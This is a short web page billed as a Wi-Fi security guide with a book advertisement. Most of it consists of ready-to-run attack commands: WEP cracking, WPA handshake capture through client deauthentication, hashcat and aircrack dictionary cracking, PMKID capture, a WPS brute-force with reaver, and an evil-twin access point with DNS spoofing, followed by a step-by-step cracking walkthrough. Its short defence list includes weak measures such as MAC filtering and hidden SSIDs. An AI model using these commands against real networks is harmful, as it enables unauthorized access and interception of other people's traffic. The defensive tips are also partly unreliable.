Complete guide to Wi-Fi security — reconnaissance, exploitation (WEP, WPA/WPA2, WPA3), and defense techniques.
Wireless networks (Wi-Fi) are vulnerable to various attacks due to weak encryption, misconfigurations, and physical accessibility. This guide covers reconnaissance, exploitation, and defense techniques for both WEP, WPA/WPA2, and WPA3 networks.
📚 Get Your Copy Today!
🛒 Buy Now on AmazonScan for nearby networks:
sudo iwconfig # List available interfaces
sudo airmon-ng start wlan0 # Enable monitor mode
sudo airodump-ng wlan0mon # Scan networks
Key details:
Prioritize weak networks:
WEP uses RC4 encryption and is easily crackable due to IV (Initialization Vector) reuse.
Steps:
sudo airodump-ng -c <channel> --bssid <BSSID> -w wep_crack wlan0mon
sudo aireplay-ng -3 -b <BSSID> -h <client_MAC> wlan0mon
sudo aircrack-ng wep_crack-01.cap
WPA/WPA2-PSK (Pre-Shared Key) is vulnerable to brute force/dictionary attacks.
Steps:
sudo airodump-ng -c <channel> --bssid <BSSID> -w handshake wlan0mon
sudo aireplay-ng -0 5 -a <BSSID> -c <client_MAC> wlan0mon
aircrack-ng -w rockyou.txt handshake-01.cap
or
hashcat -m 22000 handshake.hc22000 rockyou.txt
Tools: airbase-ng, hostapd-wpe
Steps:
sudo airbase-ng -a <BSSID> --essid "Free_WiFi" -c <channel> wlan0mon
sudo dnschef -i <interface> --fakeip 192.168.1.1
Tools: reaver, bully
sudo reaver -i wlan0mon -b <BSSID> -vv -K 1
Tool: krackattacks-scripts
Steps:
Tools: hcxdumptool, hashcat
Steps:
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hashcat -m 16800 pmkid.hc16800 rockyou.txt
Tool: dragonblood
✔ Use WPA3-SAE (if available)
✔ Disable WPS (Vulnerable to brute force)
✔ Use strong passwords (Avoid dictionary words)
✔ Enable MAC filtering (Whitelist devices)
✔ Disable SSID broadcasting (Hidden network)
✔ Monitor for rogue APs (Airodump-ng, Kismet)
1. Enable monitor mode:
sudo airmon-ng start wlan0
2. Scan networks:
sudo airodump-ng wlan0mon
3. Capture handshake:
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
4. Deauth a client:
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
5. Crack the handshake:
sudo aircrack-ng -w rockyou.txt capture-01.cap
⚠ Only hack networks you own or have permission to test.
⚠ Unauthorized access is illegal (Computer Fraud and Abuse Act, etc.).
🚀 Would you like a step-by-step Evil Twin attack demo?